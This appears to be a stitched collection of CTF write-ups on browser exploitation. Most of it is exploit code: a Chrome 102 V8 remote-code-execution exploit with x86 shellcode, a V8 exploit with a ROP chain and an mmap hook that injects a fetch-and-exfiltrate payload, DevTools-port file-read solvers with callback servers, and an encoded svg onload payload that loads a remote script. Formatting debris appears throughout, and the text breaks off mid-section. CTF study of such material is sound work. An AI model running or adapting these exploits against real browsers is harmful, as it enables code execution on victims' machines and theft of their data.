Chrome 102 RCE
| Event Name | Backdoor CTF |
| GitHub URL | - |
| Challenge Name | MCP Mayhem |
Attachments
References
the challenge use FROM node:16-alpine3.16 which bundle Chrome version 102, and can be used to gain RCE.
solve.py
function print(string, beacon=true) {
console.log(string);
if (beacon) {
navigator.sendBeacon('REDACTED', string);
}
}
print("Starting exploit...", true);
const conv_ab = new ArrayBuffer(8);
const conv_f64 = new Float64Array(conv_ab);
const conv_u64 = new BigUint64Array(conv_ab);
const FAKE_JSARR_SZ = 2n;
function itof(x) {
conv_u64[0] = BigInt(x);
return conv_f64[0];
}
function ftoi(x) {
conv_f64[0] = x;
return conv_u64[0];
}
function leak_hole() {
let v1;
function f0(v4) {
v4(() => { }, v5 => {
v1 = v5.errors;
});
}
f0.resolve = function (v6) {
return v6;
};
let v3 = {
then(v7, v8) {
v8();
}
};
Promise.any.call(f0, [v3]);
return v1[1]
}
var map1 = null;
var foo_arr = null;
function getmap(m) {
m = new Map();
m.set(1, 1);
m.set(leak_hole(), 1);
m.delete(leak_hole());
m.delete(leak_hole());
m.delete(1);
return m;
}
map1 = getmap(map1, leak_hole());
foo_arr = new Array(1.1, 1.1);
obj_arr = new Array({}, {});
placeholder_arr = new Array(1.1, 1.1);
map1.set(0x10, -1);
map1.set(foo_arr, 0xffff);
print("Overwritten arr len: 0x"+foo_arr.length.toString(16));
var EMPTY_PROPERTIES_ADDR = 0x2261n;
var MAP_JSARR_PACKED_DOUBLES_ADDR = 0x24a871n;
//for (let i = 13; i < 14 + 0x20; i++) {
// let tmp = ftoi(foo_arr[i])
// print(`foo_arr[${i}]: 0x` + tmp.toString(16));
//}
print("EMPTY_PROPERTIES_ADDR: 0x"+(EMPTY_PROPERTIES_ADDR).toString(16));
print("MAP_JSARR_PACKED_DOUBLES_ADDR: 0x"+(MAP_JSARR_PACKED_DOUBLES_ADDR).toString(16));
function GetAddressOf(x) {
obj_arr[0] = x;
return (ftoi(foo_arr[14]) - 1n) & 0xffffffffn;
}
function GetFakeObject(x) {
foo_arr[14] = itof(x);
return obj_arr[0];
}
let arr_arbrw = [0.1, 0.2, 0.3];
let addr = GetAddressOf(arr_arbrw);
let fake_jsarr = [
itof((EMPTY_PROPERTIES_ADDR << 32n) | BigInt(MAP_JSARR_PACKED_DOUBLES_ADDR)),
itof(0x4343434343434343n),
];
let FAKE_JSARR = GetAddressOf(fake_jsarr)+1n;
let FAKE_JSARR_ELEMENTS = FAKE_JSARR + 68n;
print("FAKE: 0x"+(FAKE_JSARR_ELEMENTS).toString(16));
let ARR_ARBRW_ADDR = GetAddressOf(arr_arbrw);
print("ARR: 0x"+(ARR_ARBRW_ADDR).toString(16));
fake_jsarr[1] = itof(((FAKE_JSARR_SZ * 2n) << 32n) | BigInt(ARR_ARBRW_ADDR+1n));
let corrupter_arr = GetFakeObject(FAKE_JSARR_ELEMENTS);
function v8_write64(where, what) {
corrupter_arr[0] = itof((0x6n << 32n) | BigInt(where - 8n));
arr_arbrw[0] = itof(what);
}
function v8_read64(where) {
corrupter_arr[0] = itof((0x6n << 32n) | BigInt(where - 8n));
return ftoi(arr_arbrw[0]);
}
const expl_wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 3, 2, 0, 0, 5, 3, 1, 0, 1, 7, 19, 2, 7, 116, 114, 105, 103, 103, 101, 114, 0, 0, 5, 115, 104, 101, 108, 108, 0, 1, 10, 249, 1, 2, 3, 0, 1, 11, 242, 1, 0, 65, 0, 66, 144, 161, 194, 132, 137, 178, 212, 245, 9, 55, 3, 0, 65, 1, 66, 144, 161, 194, 132, 169, 205, 200, 245, 6, 55, 3, 0, 65, 2, 66, 144, 161, 194, 132, 153, 200, 214, 245, 6, 55, 3, 0, 65, 3, 66, 144, 161, 194, 172, 148, 134, 240, 245, 6, 55, 3, 0, 65, 4, 66, 144, 161, 194, 172, 148, 166, 242, 245, 6, 55, 3, 0, 65, 5, 66, 144, 255, 134, 136, 144, 160, 192, 245, 6, 55, 3, 0, 65, 6, 66, 129, 239, 135, 136, 189, 157, 195, 245, 6, 55, 3, 0, 65, 7, 66, 144, 161, 194, 132, 169, 237, 193, 245, 6, 55, 3, 0, 65, 8, 66, 144, 161, 194, 132, 137, 210, 214, 245, 6, 55, 3, 0, 65, 9, 66, 144, 253, 134, 136, 144, 160, 192, 245, 6, 55, 3, 0, 65, 10, 66, 129, 237, 135, 136, 145, 160, 192, 245, 6, 55, 3, 0, 65, 11, 66, 144, 161, 194, 132, 169, 173, 194, 245, 6, 55, 3, 0, 65, 12, 66, 144, 161, 194, 132, 137, 146, 214, 245, 6, 55, 3, 0, 65, 13, 66, 144, 161, 194, 132, 249, 161, 193, 245, 6, 55, 3, 0, 65, 14, 66, 144, 161, 194, 132, 137, 178, 214, 245, 6, 55, 3, 0, 65, 15, 66, 144, 161, 194, 132, 137, 242, 240, 245, 6, 55, 3, 0, 11]);
let expl_wasm_mod = new WebAssembly.Module(expl_wasm_code);
let expl_wasm_instance = new WebAssembly.Instance(expl_wasm_mod);
let wasm_instance_addr = GetAddressOf(expl_wasm_instance) + 1n;
print("wasm instance addr: 0x"+wasm_instance_addr.toString(16));
let rwx_page = (v8_read64(wasm_instance_addr + 0x60n));
print("rwx_page: 0x"+(rwx_page).toString(16));
rwx_page += 0x4ean;
print("rwx_page: 0x"+(rwx_page).toString(16));
v8_write64(wasm_instance_addr + 0xfcn, rwx_page);
expl_wasm_instance.exports.trigger();
var rwx_page_buf = new ArrayBuffer(0x1000);
var rwx_page_buf_ptr = GetAddressOf(rwx_page_buf);
print(`WASM RWX page buffer: 0x${rwx_page_buf_ptr.toString(16)}`);
v8_write64(rwx_page_buf_ptr + 0x1dn, 0xdead000n);
print("Overwrote WASM RWX page buffer backing store pointer");
var rwx_page_arr = new Int8Array(rwx_page_buf);
const SHELLCODE = [0x6a, 0x1, 0xfe, 0xc, 0x24, 0x48, 0xb8, 0x74, 0x2f, 0x62, 0x6f, 0x74, 0x2e, 0x6a, 0x73, 0x50, 0x48, 0xb8, 0x2f, 0x68, 0x6f, 0x6d, 0x65, 0x2f, 0x62, 0x6f, 0x50, 0x48, 0x89, 0xe7, 0x31, 0xd2, 0x31, 0xf6, 0x6a, 0x2, 0x58, 0xf, 0x5, 0x48, 0x89, 0xc7, 0x31, 0xc0, 0x31, 0xd2, 0xb6, 0x10, 0x48, 0x89, 0xe6, 0xf, 0x5, 0x6a, 0x29, 0x58, 0x6a, 0x2, 0x5f, 0x6a, 0x1, 0x5e, 0x99, 0xf, 0x5, 0x48, 0x89, 0xc5, 0x48, 0xb8, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x50, 0x48, 0xb8, 0x3, 0x1, 0x22, 0x28, 0x5a, 0x63, 0xc9, 0x93, 0x48, 0x31, 0x4, 0x24, 0x6a, 0x2a, 0x58, 0x48, 0x89, 0xef, 0x6a, 0x10, 0x5a, 0x48, 0x89, 0xe6, 0xf, 0x5, 0x48, 0x89, 0xef, 0x31, 0xd2, 0xb6, 0x10, 0x48, 0x89, 0xe6, 0x6a, 0x1, 0x58, 0xf, 0x5, 0x31, 0xff, 0x31, 0xc0, 0xb0, 0xe7, 0xf, 0x5]
print("CHECK!!!", true);
for(var i = 0; i < SHELLCODE.length; i++) {
rwx_page_arr[i] = SHELLCODE[i];
}
v8_write64(wasm_instance_addr + 0xfcn, 0xdead000n);
expl_wasm_instance.exports.trigger();
Bypassing display capture “self” in Permissions-Policy
| Event Name | Crew CTF 2025 |
| GitHub URL | - |
| Challenge Name | Professor’s View |
Attachments
index.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Display Capture Request</title>
<script>
async function captureDisplay() {
try {
await fetch("/?message=Starting");
// Request the display-capture permission to capture the screen
const stream = await navigator.mediaDevices.getDisplayMedia({ video: true });
// If permission is granted, send a GET request to the same origin
await fetch( "/?message=Display%20capture%20permission%20granted");
const video = document.createElement("video");
video.srcObject = stream;
video.play();
video.onloadedmetadata = async () => {
const canvas = document.createElement("canvas");
const context = canvas.getContext("2d");
canvas.width = video.videoWidth;
canvas.height = video.videoHeight;
context.drawImage(video, 0, 0, canvas.width, canvas.height);
stream.getTracks().forEach(track => track.stop());
const screenshotDataUrl = canvas.toDataURL("image/png");
const response = await fetch("/upload", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ image: screenshotDataUrl })
});
};
// Handle the response from the server
const result = await response.text();
console.log('Server Response:', result);
} catch (err) {
// Handle errors (e.g., if the user denies permission)
console.error('Display capture failed:', err);
await fetch( "/?message="+encodeURIComponent(err));
}
}
// Trigger the screen capture request on page load
window.onload = () => {
captureDisplay().then(()=>{captureDisplay()});
};
</script>
</head>
<body>
<h1>Display Capture Test</h1>
<p>If you allow screen capture, a request will be sent to the server.</p>
</body>
</html>server.js
const express = require("express");
const bodyParser = require("body-parser");
const fs = require("fs");
const path = require("path");
const https = require("https");
const http = require("http");
const app = express();
const PORT = 443;
// generate ssl
// openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout private-key.pem -out certificate.pem -subj "/C=US/ST=State/L=City/O=Organization/OU=Unit/CN=example.com"
// SSL certificates (replace with your own paths if needed)
const privateKey = fs.readFileSync("private-key.pem", "utf8");
const certificate = fs.readFileSync("certificate.pem", "utf8");
const credentials = { key: privateKey, cert: certificate };
app.use(bodyParser.json({ limit: "10mb" })); // Increase limit to handle large images
app.get('/', (req, res) => {
console.log(`[*] Request: ${req.originalUrl}`);
res.sendFile(path.join(__dirname,'./index.html'));
});
app.post("/upload", (req, res) => {
console.log("[X] Uploading screenshot");
const { image } = req.body;
if (!image) {
return res.status(400).json({ message: "No image provided" });
}
// Decode Base64 to Buffer
const base64Data = image.replace(/^data:image\/png;base64,/, "");
const filePath = `screenshots/screenshot_${Date.now()}.png`;
// Save to file
fs.mkdirSync("screenshots", { recursive: true });
fs.writeFile(filePath, base64Data, "base64", (err) => {
if (err) {
console.error("Error saving image:", err);
return res.status(500).json({ message: "Failed to save image" });
}
res.json({ message: "Screenshot saved successfully!", path: filePath });
});
});
app.listen(PORT, () => {
console.log(`Server is running on http://localhost:${PORT}`);
});tl;dr
/professor. bubu< and > are replaced, and special handlers exist for images, links, and “embedded pages” (referPage). bubu-auto-select-desktop-capture-source=E, which forces accepting “display capture” permission automatically. bubuPermissions-Policy header that restricts display-capture to self (meaning only same-origin top-level contexts or iframes with the same origin can request it). bubuabout:srcdoc) do not carry HTTP headers (including Permissions-Policy), so they don’t enforce the self restriction. bubuiframe srcdoc injection inside the sanitized markdown via creative nesting (e.g. using referPage to inject into an iframe), and delegates display-capture to the attacker origin. Inside that iframe, the attacker can capture the screen (i.e. screenshot the bot’s view) and exfiltrate the flag. bubucrew{permissions_are_fun_even_that_people_dont_really_care_1a3b7c9d} bubuFile origin bypass in firefox
CTFtime.org / Google Capture The Flag 2025 / Sourceless / Writeup
Browser Extension can be exploited using dom clobbering
| Event Name | TPCTF |
| GitHub URL | - |
| Challenge Name | Are you incognito? |
References
Notice that the bot runs Chromium but the extension uses browser instead of chrome to access the extension API. It uses webextension-polyfill to provide the API under browser. We can pass the check if we modify the browser object. We cannot directly create JavaScript variables since the web page and the content script run JavaScript separately, but we can use DOM clobbering to do so.
We need browser.runtime.id to pass the check in webextension-polyfill and then browser.extension.inIncognitoContext to pass the check in the challenge:
HTML
<form id="browser" name="runtime"></form><form id="browser" name="extension"> <input name="inIncognitoContext"></form>
An alternative solution is found by USTC-NEBULA, that is to create a global variable exports instead of browser.runtime.id to pass the check in babel-transform-to-umd-module.js.
Some sites such as webhook.site use path instead of subdomain for each user and are thus unable to record the /flag request. You can use requestrepo.com or your own server.
This appears to be a 0-day vulnerability2, but I couldn’t find a practical way to exploit it in real-world extensions. I suspect it may at most disrupt the normal execution of content scripts without posing significant security risks or providing strong attack incentives. Anyhow, I will report this to the upstream after the competition. It’s at least a bug if not a vulnerability.
P.S. A similar bug was once discovered and fixed in #153 but later introduced again in #582.
Local File Read Vulnerability in Browser Devtools
| Event Name | PWNME CTF 2025 |
| GitHub URL | - |
| Challenge Name | Hack the bot 2 |
Attachments
References
If user data dir is accessible
const browserCachePath = '/tmp/bot_folder/browser_cache/';
..snip..
const browser = await puppeteer.launch({
headless: 'new',
args: ['--remote-allow-origins=*','--no-sandbox', '--disable-dev-shm-usage', `--user-data-dir=${browserCachePath}`]
});
in this case because the misconfiguration in nginx
location /logs {
autoindex off;
alias /tmp/bot_folder/logs/;
try_files $uri $uri/ =404;
}
we can read it using path traversal
curl --path-as-is "https://hackthebot2-100459c43a199c0f.deploy.phreaks.fr/logs../browser_cache/DevToolsActivePort
solver
// @ts-check
import { $, serve } from "bun"
const publicUrl = new URL("http://my.public.ip:25565/");
const challengeUrl = "https://hackthebot2-100459c43a199c0f.deploy.phreaks.fr/";
// Shoutout to https://github.com/aslushnikov/getting-started-with-cdp
async function getWebsocketUrl() {
const devTools = await $`curl --path-as-is "https://hackthebot2-100459c43a199c0f.deploy.phreaks.fr/logs../browser_cache/DevToolsActivePort"`.text();
const [port, path] = devTools.split('\n');
const websocketUrl = `ws://localhost:${port}${path}`;
console.log(websocketUrl);
return websocketUrl;
}
// This is converted to a string and injected into the page, so we can't use any external variables
async function getFlag(publicUrl) {
const websocketUrl = await fetch("/get-websocket-url").then(res => res.text());
const devtools = new WebSocket(websocketUrl);
let sessionId = null;
function callback(str) {
fetch(new URL(`/callback?${new URLSearchParams({str})}`, new URL(publicUrl)));
}
devtools.onopen = () => {
callback("Opened");
devtools.send(JSON.stringify({
id: 1,
method: 'Target.createTarget',
params: {
url: "file:///root/flag2.txt",
},
}));
};
devtools.onerror = (err) => {
console.error('WebSocket Error: ', err);
callback("WebSocket Error: " + err);
}
devtools.onmessage = (event) => {
// const {result: {result: {value}}} = JSON.parse(data);
// console.log('WebSocket Message Received: ', value)
callback("<-- " + event.data);
const obj = JSON.parse(event.data);
if (obj.id === 1 && sessionId === null) {
const targetId = obj.result.targetId;
devtools.send(JSON.stringify({
id: 2,
method: 'Target.attachToTarget',
params: {
targetId,
flatten: true
}
}));
} else if (obj.id === 2 && sessionId === null) {
sessionId = obj.result.sessionId;
devtools.send(JSON.stringify({
sessionId,
id: 3,
method: 'DOM.getDocument',
}));
devtools.send(JSON.stringify({
sessionId,
id: 4,
method: 'DOM.getOuterHTML',
params: {"nodeId":1}
}));
// Wait for DOM.documentUpdated
setTimeout(() => {
devtools.send(JSON.stringify({
sessionId,
id: 5,
method: 'DOM.getDocument',
}));
devtools.send(JSON.stringify({
sessionId,
id: 6,
method: 'DOM.getOuterHTML',
params: {"nodeId":5}
}))
}, 1000);
}
};
}
const payload = `(${getFlag.toString()})("${publicUrl}")`
// const payloadOctal = payload.split('').map(c => "\\" + c.charCodeAt(0).toString(8).padStart(3, "0")).join('')
// const html = `<input type=hidden oncontentvisibilityautostatechange="${payloadOctal}" style=content-visibility:auto>`
// Page.navigate {"url":"file://C:/Users/Nick/Documents/ProgrammeerProjectjes/CTF/PwnMeQuals2025/web_Hack_The_bot/flag2.txt"}
// DOM.getOuterHTML {"nodeId":1}
async function reportUrl(url) {
console.log("[*]", "Reporting", url);
const res = await fetch(`${challengeUrl}/report`, {
method: "POST",
body: new URLSearchParams({url}),
headers: {
"Content-Type": "application/x-www-form-urlencoded",
},
})
if (!res.ok) {
console.error("[*]", "Failed to report", url, await res.text());
return;
}
const logPath = await res.text();
const logUrl = new URL(logPath, challengeUrl)
console.log("[*]", logUrl.toString());
const logRes = await fetch(logUrl);
const logText = await logRes.text();
console.log("[*]", logText);
}
const server = serve({
routes: {
"/pwn": (req, server) => {
console.log("[*]", server.requestIP(req)?.address, req.url);
return new Response(`
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
Pwned
<script>
${payload}
</script>
</body>
</html>
`, {
headers: {
"Content-Type": "text/html",
}
});
},
"/get-websocket-url": async (req, server) => {
console.log("[*]", server.requestIP(req)?.address, req.url);
const websocketUrl = await getWebsocketUrl();
return new Response(websocketUrl);
},
"/callback": (req, server) => {
console.log("[*]", server.requestIP(req)?.address, new URL(req.url).pathname, new URL(req.url).searchParams.get("str"));
return new Response(`${server.requestIP(req)} ${req.url}`);
},
},
port: 25565,
hostname: "0.0.0.0",
});
console.log(`Listening on ${publicUrl}`);
reportUrl(new URL("/pwn", publicUrl).toString())Local File Read Vulnerability in Browser Devtools
| Event Name | GPN CTF 2024 |
| GitHub URL | - |
| Challenge Name | Flag Remover |
Attachments
References
A local file read vulnerability can occur if browser devtools, also known as google-chrome --remote-debugging-port=13370, are enabled:
const exp = require('constants');
const WebSocket = require('ws');
const wsUrl = 'ws://localhost:1337/devtools/page/';
// socat TCP-LISTEN:1337,fork OPENSSL:where-the-lights-are-low--felix-jaehn-2390.ctf.kitctf.de:443
/**
import httpx
URL = "http://localhost:1337"
class BaseAPI:
def __init__(self, url=URL) -> None:
self.c = httpx.Client(base_url=url)
def test(self):
return self.c.get("/json")
class API(BaseAPI):
...
if __name__ == "__main__":
api = API()
print(api.test().text)
*/
const ws = new WebSocket(wsUrl+"ABC1339CFEEC8C298E81334D86AE99D1");
ws.on('open', function open() {
console.log('Connected to the WebSocket');
ws.send(JSON.stringify({
id: 1,
method: 'Target.createTarget',
params: {
url: "file:///flag",
}
}));
});
ws.on('message', async function message(data) {
const response = JSON.parse(data);
console.log(response)
if (response.result?.targetId) {
const ws = new WebSocket(wsUrl+response.result.targetId);
ws.on('open', function open() {
console.log('Connected to the WebSocket');
ws.send(JSON.stringify({
id: 2,
method: 'Runtime.evaluate',
params: {
expression: 'document.body.innerHTML',
}
}));
});
ws.on('message', async function message(data) {
const response = JSON.parse(data);
console.log(response)
});
}
});
see more about google chrome dev tools here Chrome DevTools Protocol - Accessibility domain
Chrome Public CVE in puppeter latest
| Event Name | PWNME CTF Quals 2025 |
| GitHub URL | https://github.com/Phreaks-2600/PwnMeCTF-2025-quals/ |
| Challenge Name | Hack the bot 2 |
Attachments
References
Browser CVE unitended solution in idekctf 2024
var conv_ab = new ArrayBuffer(8);
var conv_f64 = new Float64Array(conv_ab);
var conv_b64 = new BigInt64Array(conv_ab);
function dtoi(f) {
conv_f64[0] = f;
return conv_b64[0];
}
function itod(i) {
conv_b64[0] = i;
return conv_f64[0];
}
function ptr(addr) {
return addr | 1n;
}
function unptr(addr) {
return addr & ~3n;
}
function smi(i) {
return i << 1n;
}
function unsmi(i) {
return i >> 1n;
}
const FIXED_ARRAY_HEADER_SIZE = 8n;
var large_arr = new Array(0x10000);
large_arr.fill(itod(0xDEADBEE0n)); //change array type to HOLEY_DOUBLE_ELEMENTS_MAP
var packed_map = null;
var packed_double_map = null;
var packed_double_props = null;
var fake_arr_elements_addr = null;
var fake_arr = null;
function fake_obj(addr) {
large_arr[0] = itod(packed_map | (packed_double_props << 32n));
large_arr[1] = itod(fake_arr_elements_addr | (smi(1n) << 32n));
large_arr[3] = itod(ptr(addr));
let result = fake_arr[0];
large_arr[1] = itod(fake_arr_elements_addr | (smi(0n) << 32n));
return result;
}
function addr_of(obj) {
large_arr[0] = itod(packed_double_map | (packed_double_props << 32n));
large_arr[1] = itod(fake_arr_elements_addr | (smi(1n) << 32n));
fake_arr[0] = obj;
let result = dtoi(large_arr[3]) & 0xFFFFFFFFn;
large_arr[1] = itod(fake_arr_elements_addr | (smi(0n) << 32n));
return result;
}
function v8_read64(addr) {
addr -= FIXED_ARRAY_HEADER_SIZE;
large_arr[0] = itod(packed_double_map | (packed_double_props << 32n));
large_arr[1] = itod(ptr(addr) | (smi(1n) << 32n));
let result = dtoi(fake_arr[0]);
large_arr[1] = itod(fake_arr_elements_addr | (smi(0n) << 32n));
return result;
}
function v8_write64(addr, val) {
addr -= FIXED_ARRAY_HEADER_SIZE;
large_arr[0] = itod(packed_double_map | (packed_double_props << 32n));
large_arr[1] = itod(ptr(addr) | (smi(1n) << 32n));
fake_arr[0] = itod(val);
large_arr[1] = itod(fake_arr_elements_addr | (smi(0n) << 32n));
}
function gc_minor() { //scavenge
for(let i = 0; i < 1000; i++) {
new ArrayBuffer(0x10000);
}
}
function gc_major() { //mark-sweep
new ArrayBuffer(0x7fe00000);
}
//https://source.chromium.org/chromium/_/chromium/v8/v8.git/+/18865d6af0404f2d2aeb1c99dd73503364ce0967:src/flags/flag-definitions.h;l=1444
function flush_bytecode() {
//please change to be the "bytecode_old_age" value from ./src/flags/flag-definitions.h
//you can observe if this is working by passing the "--trace-gc" flag
const bytecode_old_age = 5;
for(let i = 0; i < (bytecode_old_age+1); i++) {
//doesn't seem to matter if the allocation fails
try {
gc_major();
} catch(err) {
//print(err);
}
}
}
function make_small() {
let result = {};
result.p1 = 1;
return result;
}
function make_big() {
//These are all inline properties. If we make a smaller object have the
//same MAP as this then we will be able to access out of bounds.
let result = {
p1: 1, p2: 2, p3: 3, p4: 4, p5: 5, p6: 6, p7: 7, p8: 8, p9: 9, p10: 10,
p11: 11, p12: 12, p13: 13, p14: 14, p15: 15, p16: 16, p17: 17, p18: 18
};
//We need to add the extra property to transition to a new MAP with a cleared
//validity cell. Also, the extra field is external and captures the write so
//that doesn't interfere with our inline properties.
result.extra = 1;
return result;
}
var ballast = null;
var small_obj = make_small();
var big_obj = make_big();
var corrupted_obj = null;
var arr1 = null;
var arr2 = null;
for(let i = 0; i < 11; i++) {
//this prevents bad results from LoadGlobalNotInsideTypeof slots from crashing the exploit
function dummy() { return true; }
//use locals here instead of globals because otherwise it would create extra slots in the feedback vector
let target = {}; //placeholder - this is the object we want to change the MAP of.
let SetNamedStrict_slot1 = {}; //this gets transitioned to "small_obj" MAP once we add property p1
let LoadProperty_slot0 = big_obj; //this is the MAP we want to transition to.
if(i == 10) {
//this causes the bytecode to be thrown away
flush_bytecode();
//allocate all the objects after GC so that they are allocated in NewSpace
corrupted_obj = make_small();
target = corrupted_obj;
arr1 = [1.85419992257717e-310,1.85419992257717e-310,1.85419992257717e-310,1.85419992257717e-310]; //0x0000222200002222
arr2 = [large_arr,2,3,4,5,6,7,8];
}
//This will cause corrupted_obj (small_obj MAP) to transition to a big_obj MAP
//Unfortunately because of the nature of the vulnerability we cant put this in it's own function :-(
((a = class Clazz {
[(dummy(
eval(),
eval, //consumes 2 feedback slots (LoadGlobalNotInsideTypeof) upon reparse
eval, //consumes 2 feedback slots (LoadGlobalNotInsideTypeof) upon reparse
target.p1 = 123, //this is where the target SetNamedStrict slot will be
[], //this Literal (AllocationSite) uses one feedback slot. This is important. Slot value has to be a valid pointer!
SetNamedStrict_slot1.p1 = 1, //small_obj MAP will be in the second SetNamedStrict slot
LoadProperty_slot0.p1 //big_obj MAP will be in the first LoadProperty slot
)
? 0 : (ballast = 1)) //this crap is to make sure the slot length of the feedback vector and feedback metadata are equal
]
}) => {})();
}
//*
corrupted_obj.p18 = 0x30; //modify length of arr1 array
let large_arr_addr = dtoi(arr1[7]) & 0xFFFFFFFFn;
let large_arr_elements_field_addr = large_arr_addr + 8n;
let packed_double_map_and_props = dtoi(arr1[4]);
packed_double_map = packed_double_map_and_props & 0xFFFFFFFFn;
packed_double_props = packed_double_map_and_props >> 32n;
let packed_double_elements = dtoi(arr1[5]) & 0xFFFFFFFFn;
let packed_map_and_props = dtoi(arr1[11]);
packed_map = packed_map_and_props & 0xFFFFFFFFn;
let packed_props = packed_map_and_props >> 32n;
let fixed_arr_map = dtoi(arr1[6]) & 0xFFFFFFFFn;
arr1[0] = itod(packed_double_map | (packed_double_props << 32n));
arr1[1] = itod((large_arr_elements_field_addr - FIXED_ARRAY_HEADER_SIZE) | (smi(1n) << 32n));
let temp_fake_arr_addr = packed_double_elements + FIXED_ARRAY_HEADER_SIZE;
arr1[7] = itod(temp_fake_arr_addr);
let temp_fake_arr = arr2[0];
let large_arr_elements_addr = dtoi(temp_fake_arr[0]) & 0xFFFFFFFFn;
temp_fake_arr = null;
let fake_arr_addr = large_arr_elements_addr + FIXED_ARRAY_HEADER_SIZE;
fake_arr_elements_addr = fake_arr_addr + 16n;
large_arr[0] = itod(packed_double_map | (packed_double_props << 32n));
large_arr[1] = itod(fake_arr_elements_addr | (smi(0n) << 32n));
large_arr[2] = itod(fixed_arr_map | (smi(0n) << 32n));
arr1[7] = itod(fake_arr_addr);
fake_arr = arr2[0];
//cleanup
corrupted_obj.p18 = 4;
let small_obj_addr = addr_of(small_obj);
let small_obj_map_and_props = v8_read64(small_obj_addr);
let corrupted_obj_addr = addr_of(corrupted_obj);
v8_write64(corrupted_obj_addr, small_obj_map_and_props); //restore the corrupted MAP
corrupted_obj = null;
// UXSS CODE START
f_code = v8_read64(addr_of(Math.min) + 0x18n - 1n) & ((1n << 32n) - 1n);
f_ptr = f_code-0x1n+0x10n;
f_code_code_entry_point = v8_read64(f_ptr);
let lek = v8_read64(0x20n);
heap_base = lek & ~0xffffffffn;
chrome_base = f_code_code_entry_point-0x676f440n;
global_addr = addr_of(globalThis) - 1n;
native_ctx_addr = v8_read64(global_addr + 12n);
let sc_arr = [
// mov rdi, chrome base
0x48, 0xBF,
Number(chrome_base&0xffn),
Number((chrome_base>>8n)&0xffn),
Number((chrome_base>>16n)&0xffn),
Number((chrome_base>>24n)&0xffn),
Number((chrome_base>>32n)&0xffn),
Number((chrome_base>>40n)&0xffn), 0x00, 0x00,
%SHELLCODE%,
];
sc_arr = sc_arr.concat(Array(0x200 - sc_arr.length).fill(0x90));
sc_arr = sc_arr.concat([%HOOKCODE%]);
let sc = new Uint8Array(sc_arr);
let sc_addr = (v8_read64(addr_of(sc) - 1n + 0x30n)) & ((1n << 32n) - 1n);
let gadget_pop_jmp = chrome_base + 0x3b35355n; // pop rdx ; jmp qword ptr [rsi + 0x41]
let gadget_pivot = chrome_base + 0x8be6b04n; // pop rsp ; add rsp, 8 ; pop rbx ; pop r14 ; ret
let rop_addr = addr_of(Math) + 0x18n - 1n;
let mprotect_plt = chrome_base + 0xd23e970n;
let pop_rdi = chrome_base + 0x38137dan;
let pop_rsi = chrome_base + 0x386f93en;
let pop_rdx = chrome_base + 0x3a5b2f2n;
let heap_upper = heap_base & ~((1n << 32n) - 1n);
let sc_full_addr = heap_upper + (sc_addr << 8n);
v8_write64(f_ptr, gadget_pop_jmp);
v8_write64(native_ctx_addr + 0x41n, gadget_pivot);
v8_write64(rop_addr+0x00n, pop_rdi<<8n);
v8_write64(rop_addr+0x08n, (sc_full_addr&~0xfffn)<<8n);
v8_write64(rop_addr+0x10n, pop_rsi<<8n);
v8_write64(rop_addr+0x18n, 0x1000n<<8n);
v8_write64(rop_addr+0x20n, pop_rdx<<8n);
v8_write64(rop_addr+0x28n, 7n<<8n);
v8_write64(rop_addr+0x30n, mprotect_plt<<8n);
v8_write64(rop_addr+0x38n, sc_full_addr<<8n);
v8_write64(rop_addr+0x40n, 0n<<8n);
// trigger ROP
Math.min();
location = 'http://flamethrower.chal.idek.team:1337/';
// bot submit
// http://idek-hello.chal.idek.team:1337/?name=%3Csvg%0Conload=eval(atob(%22cz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtzLnNyYz0naHR0cHM6Ly94eHgueXl5Lnp6ei9leHBsb2l0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHMpOw==%22))%3E
from keystone import *
from struct import pack, unpack
SYS_mprotect = 10
ks = Ks(KS_ARCH_X86, KS_MODE_64)
code, _ = ks.asm(f'''
push rbp
lea rbp, [rsp-0x100]
mov [rbp], rdi // chrome base
call get_sc_addr
get_sc_addr:
pop rax
and rax, ~0xffff
mov [rbp+8], rax // shellcode base
// make GOT writable
lea rdi, [rdi+0xda00c78] // mmap64 addr
and rdi, ~0xfff
mov rsi, 0x1000
mov rdx, 3
mov rax, {SYS_mprotect}
syscall
// hook mmap64
mov rdi, [rbp]
lea rdi, [rdi+0xda00c78]
mov rsi, [rbp+8]
add rsi, 0x200
mov [rdi], rsi
shl rax, 1
pop rbp
// clean exit from rop
mov r14,rsp
shr r14,0x20
shl r14,0x20
lea rsp,[rbp-0x88]
ret
''')
inject = list(b"fetch('/api/post/3').then(r=>r.text()).then(r=>location='//xxx.yyy.zzz/'+r);//")
hook_code, _ = ks.asm(f'''
// og mmap
mov r10, rcx
mov rax, 9
syscall
push rax
// check target
mov rax, [rsp]
cmp dword ptr [rax], 0x6f706d69 // "impo"...rt flamethrower from...
jnz fin
// replace target
mov rdi, rax
lea rsi, [rip+inject]
mov ecx, {len(inject)}
cld
rep movsb
fin:
pop rax
ret
inject:
''')
assert hook_code
hook_code += inject
exp = open('exploit.tpl.js').read()
exp = exp.replace('%SHELLCODE%', repr(code)[1:-1])
exp = exp.replace('%HOOKCODE%', repr(hook_code)[1:-1])
open('exploit.js', 'w').write(exp)
Firefox extension popup oracle with text fragments
| Event Name | DiceCTF 2026 |
| GitHub URL | - |
| Challenge Name | dicewallet |
Attachments
handleRequest()mutates and returns the originalmsg, so falsy provider results preserve attacker-controlled fields likefncontent.jsalways appendssecretand posts the response object back into the pagewallet_renameAccountstores raw HTML in account names, and the popup renders that name unsafelyeth_signTypedData_v4places rawJSON.stringify(...)intodetails=without URI encodingpopup.jsroutes bylocation.href.split("#").pop(), so#inside attacker-controlled data retargets the popup
/popup.html#/export/phrase, Firefox text fragments are used as a scroll oracle, and a lazy iframe / preconnect turns scroll-or-no-scroll into connect-or-no-connect.http://1pc.tf:8080/why it is vulnerable
// content.js
chrome.runtime.onMessage.addListener((result) => {
if (result.type === "DICE_RESPONSE") {
// On success, the content script rewrites fn to dwOnMessage.
